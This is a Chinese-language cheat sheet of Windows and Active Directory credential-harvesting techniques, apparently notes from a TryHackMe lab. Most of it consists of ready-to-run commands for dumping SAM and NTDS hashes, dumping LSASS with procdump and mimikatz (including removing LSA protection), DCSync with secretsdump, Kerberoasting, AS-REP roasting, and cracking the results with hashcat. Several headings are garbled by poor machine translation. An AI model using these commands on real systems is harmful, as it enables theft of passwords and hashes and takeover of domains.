windows本地根据获取

明文文件

1. # 可以在以下几种地方找到明文文件
2. 命令历史记录
3. 配置文件（Web 应用程序、FTP 文件等）
4. 与 Windows 应用程序相关的其他文件（Internet 浏览器、电子邮件客户端等）
5. 备份文件
6. 共享文件和文件夹
7. 注册表
8. 源代码
9. # 可能找到密码的方式
10. 数据库文件
11. 密码管理器
12. 内存转储
13. 活动目录
14. 网络嗅探
16. # 举例
17. ## PowerShell历史命令
18. C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
19. # 在windows注册表找passward关键字
20. reg query HKLM /f password /t REG_SZ /s
21. 或
22. reg query HKCU /f password /t REG_SZ /s
24. # AD环境枚举
25. ## ADEnum
26. https://github.com/Leo4j/Invoke-ADEnum
27. ## cmd
28. dsquery user -limit 0 | dsget user -samid -desc > user_descriptions.txt

复制代码

本地windows根据

1. # 采用键盘记录器
2. 可以使用Metasploit框架进行键盘记录
3. # SAM文件
4. ## Metasploit 的 HashDump
5. hashdump # Metasploit下
7. # 卷复制服务
8. 1、使用管理员权限运行标准cmd.exe提示符。
9. 2、执行 wmic 命令以创建 C： drive 的复制卷影
10.         wmic shadowcopy call create Volume='C:\'
11. 3、验证步骤 2 中的创建是否可用。
12.         vssadmin list shadows
13. 4、从我们在步骤 2 中创建的卷中复制 SAM 数据库
14.         copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\Administrator\Desktop\sam
16. # windows注册表读取
17. reg save HKLM\sam
18. reg save HKLM\system
19. ## 破解sam和system
20. secretsdump.py -sam /tmp/sam-reg -system /tmp/system-reg LOCAL

复制代码

本地安全机构子体系服务（LSASS）

1. # GUI
2. 1、打开任务管理器->详细信息->找到lsass.exe进程->右键单击->选择创建转储文件
4. # Sysinternals套件
5. procdump.exe -accepteula -ma lsass.exe c:\Tools\Mimikatz\lsass_dump
7. # mimikatz
8. privilege::debug
9. sekurlsa::logonpasswords
11. #禁用LSA保护
12. !+
13. !processprotect /process:lsass.exe /remove

复制代码

windows根据管理器

1. # GUI
2. GUI（控制面板->用户帐户->凭据管理器)
4. # vaultcmd
5. ## 查看有哪些存储库
6. vaultcmd /list
7. ## 检查Web Credentials 保管库中是否有任何存储的凭据
8. VaultCmd /listproperties:"Web Credentials"
10. # 凭据转储
11. ##  Get-WebCredentials.ps1
12. ### 下载
13. https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1
14. ### 使用
15. powershell -ex bypass
16. Import-Module C:\Tools\Get-WebCredentials.ps1
17. Get-WebCredentials
19. ## RunAs
20. cmdkey /list
21. runas /savecred /user:THM.red\thm-local cmd.exe
23. ## mimikatz
24. privilege::debug
25. sekurlsa::credman

复制代码

域控制器

1. # Ntdsutil
2. ## 无凭据本地转储
3. powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q" # 运行完此命令将在C:\temp下看见Active Directory和registry两个文件夹
4. ## 攻击机破解hash
5. secretsdump.py -security path/to/SECURITY -system path/to/SYSTEM -ntds path/to/ntds.dit local
7. ## 有凭据远程转储
8. ### 直流同步
9. secretsdump.py -just-dc THM.red/<AD_Admin_User>@MACHINE_IP
10. ### 参数说明
11. -just-dc 该参数用于提取 NTDS 数据
12. thm.red/AD_Admin_User 是经过身份验证的域用户，形式为(domain/user)
13. 请注意，如果我们只对转储 NTLM 哈希感兴趣，那么我们可以按如下方式使用参数：-just-dc-ntlm
14. ### 破解hash
15. hashcat -m 1000 -a 0 /path/to/ntlm_hashes.txt /path/to/wordlist/such/as/rockyou.txt

复制代码

本地管理员暗码办理方案（LAPS）

1. # 组策略首选项（GPP）
2. https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1
4. # 枚举LAPS
5. ## 检查目标机器中是否安装了LAPS
6. dir "C:\Program Files\LAPS\CSE" # 看有没有AdmPwd.dll
7. ## 列出可用的LAPS的cmdlet（powershell）
8. Get-Command *AdmPwd*
9. ## 查找具有AdmPwdExtendedRights属性的用户
10. Find-AdmPwdExtendedRights -Identity THMorg
11. 或者
12. Find-AdmPwdExtendedRights -Identity *
13. ## 查找属于相关组的用户
14. net groups "THMGroupReader" # THMGroupReader在上一步中会有输出形如{THM\THMGroupReader}
15. ## 获取密码
16. Get-AdmPwdPassword -ComputerName creds-harvestin
18. ## 便捷的使用工具
19. https://github.com/leoloobeek/LAPSToolkit

复制代码

其他攻击

1. # Kerberoasting
2. ## 枚举SPN账户
3. GetUserSPNs.py -dc-ip MACHINE_IP THM.red/thm
4. ## 以SPN账户身份申请TGS票据
5. GetUserSPNs.py -dc-ip MACHINE_IP THM.red/thm -request-user svc-user
6. ## 利用HashCat模式破解TGS票证
7. hashcat -a 0 -m 13100 spn.hash /usr/share/wordlists/rockyou.txt
9. # AS-REP 烘培
10. GetNPUsers.py -dc-ip MACHINE_IP thm.red/ -usersfile /tmp/users.txt # users.txt为枚举的用户表如admin\ntest\nAdministrator等
12. # 扩展攻击方式
13. ## 中小企业中级攻击
14. ## LLMNR/NBNS中毒

复制代码

其他有效的工具

1. # Snaffler
2. https://github.com/SnaffCon/Snaffler
3. # Seatbelt
4. https://github.com/GhostPack/Seatbelt
5. # Lazagne
6. https://www.hackingarticles.in/post-exploitation-on-saved-password-with-lazagne/

复制代码